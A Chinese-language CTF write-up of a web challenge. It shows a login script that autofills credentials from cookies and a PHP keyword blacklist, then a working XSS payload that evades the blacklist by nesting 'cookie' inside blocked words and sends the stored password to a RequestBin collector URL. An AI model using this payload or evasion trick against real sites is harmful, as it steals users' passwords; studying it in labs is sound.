題目:
image.png
image.png
image.png
三個(gè)界面碌宴,注冊(cè)界面源代碼毛都沒(méi)有,登錄界面源代碼里面有東西
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
意思很明確籍滴,就是用戶名和密碼都寫入了表單
下面我們注冊(cè)一下
登錄進(jìn)去之后酪夷,出現(xiàn)feedback界面
image.png
點(diǎn)進(jìn)去看一下
image.png
發(fā)現(xiàn)源碼里有文章
if(is_array($feedback)){
echo "<script>alert('反饋不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
顯而易見(jiàn)給過(guò)濾了不少東西,由于我們已經(jīng)知道login.js有記錄密碼的功能孽惰。
這時(shí)候就要介紹我們的http://http.requestbin.buuoj.cn
網(wǎng)址晚岭,(RequestBin提供了一個(gè)URL,該URL將收集對(duì)其發(fā)出的請(qǐng)求勋功,首頁(yè)點(diǎn)擊create a requestbin)
構(gòu)造POC就很簡(jiǎn)單了
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/y6b4uwy6/?a="+psw;
</scrcookieipt>
提交成功之后去BIN里面看一下
image.png
image.png